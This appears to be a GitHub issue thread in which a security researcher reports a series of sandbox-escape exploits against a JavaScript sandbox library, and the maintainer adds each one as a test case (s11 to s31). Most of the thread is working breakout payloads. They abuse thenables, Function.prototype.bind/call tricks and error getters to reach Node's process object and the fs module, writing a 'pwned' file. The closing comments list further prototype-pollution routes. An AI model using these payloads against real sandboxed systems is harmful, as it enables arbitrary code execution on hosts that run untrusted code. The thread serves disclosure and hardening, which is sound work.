Closed j4k0xb closed 6 months ago
done (s11)
h=console.log; (async()=>{ while(!(t=Promise.prototype.then)) await Promise.resolve(); f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){t.call(Promise.resolve(),h.call.bind(f.call,f,0))}} f(); })(); 1
h=console.log;
f=async()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){await{then:h.call.bind(f.call,f,0)}}}
f();
1
it is ok (s12) now, but it is not a good solution, will spend more time to look into.
h=console.log; f=async()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){await{then:h.call.bind(f.call,f,0)}}} f(); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(f.call,f,0)}
f();
1
done (s13) Notes: one more timeout call seems flush previous. I will investigate it more at Sunday to see if it is a trick to solve the ddos problem
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(f.call,f,0)} f(); 1
f=m=>m.writeFileSync('pwned','');
import('').then.call=eval.bind(null,"import('fs').then(console.log.call.bind(f.call,f,0))()");
1
done s14
f=m=>m.writeFileSync('pwned',''); import('').then.call=eval.bind(null,"import('fs').then(console.log.call.bind(f.call,f,0))()"); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
ok now (s15)
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)} f(); 1
h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
done s16
h=console.log; c=10; h.call.bind=h.bind; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)} f(); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1
done s17;
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]} f(); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1
done s18;
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]} f(); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
done s19;
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]} f(); 1
f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1
done s20
f=m=>m.writeFileSync('pwned',''); h=console.log; import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))"); 1
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
thanks, rollback the line of Promise_prototype_catch.call() (will do it later for that warning-message)
ok for now
h=console.log; c=10; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]} f(); throw 1;
h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
thanks, test case s24/s25 added.
done now;
h=console.log; c=10; import('').catch.call=1; f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]} f(); throw 1;
g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
Hi, added case s26 for this. but didn't see pwned file this time. Do you mind to show little more about your test command?
g=m=>m.writeFileSync('pwned',''); h=console.log; c=10; f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]} f(); 1
throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}
done s27
throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}
throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);
done s28
throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);
h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
a.then=1;
r(a);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a
done (s29,s30)
h=console.log; (a=[1]).map=_=>a; x=h.call.bind(a.then=r=>{ a.then=1; r(a); try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x} },0); a
h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
console.log(_, r);
a.then=1;
r(a);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a
done s31
h=console.log; (a=[1]).map=_=>a; a.then=r=>(x=[(_,r)=>{ console.log(_, r); a.then=1; r(a); try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x} }].map(h.bind,h.call)[0])(r); a
I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.
Here is the last one from me:
h=console.log;
Array.prototype.push=function(){this.then=r=>(x=[(_,r)=>{
this.then=1;
r(this);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{this.then=x}
}].map(h.bind,h.call)[0])(r)};
[1]
OK, thank you very much!
just one more question, may I know the prototype pollution problem refer to "prototype" or "__proto__"? Because the __proto__ seems already prevent by using defineProperty()
I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.
First of all, __proto__
in the sandbox seems be allowed again, so you can just get the getter via __defineGetter__
or Object.getOwnPropertyDescriptors
and use it on any object, including host objects to get the prototype and put a property on it.
Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via .constructor.prototype
and just write a property on it.
Furthermore, I would also count console.log.toString=...
as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.
Also the __defineGetter__
seems to be allowed in the sandbox again which could be used to make then
a getter again.
Thank you again for the details all along
I did remove some code after test so-called passed, I'll try to improve the test skill and fix the problems you mentioned.
Have a nice day.
First of all,
__proto__
in the sandbox seems be allowed again, so you can just get the getter via__defineGetter__
orObject.getOwnPropertyDescriptors
and use it on any object, including host objects to get the prototype and put a property on it.Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via
.constructor.prototype
and just write a property on it.Furthermore, I would also count
console.log.toString=...
as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.Also the
__defineGetter__
seems to be allowed in the sandbox again which could be used to makethen
a getter again.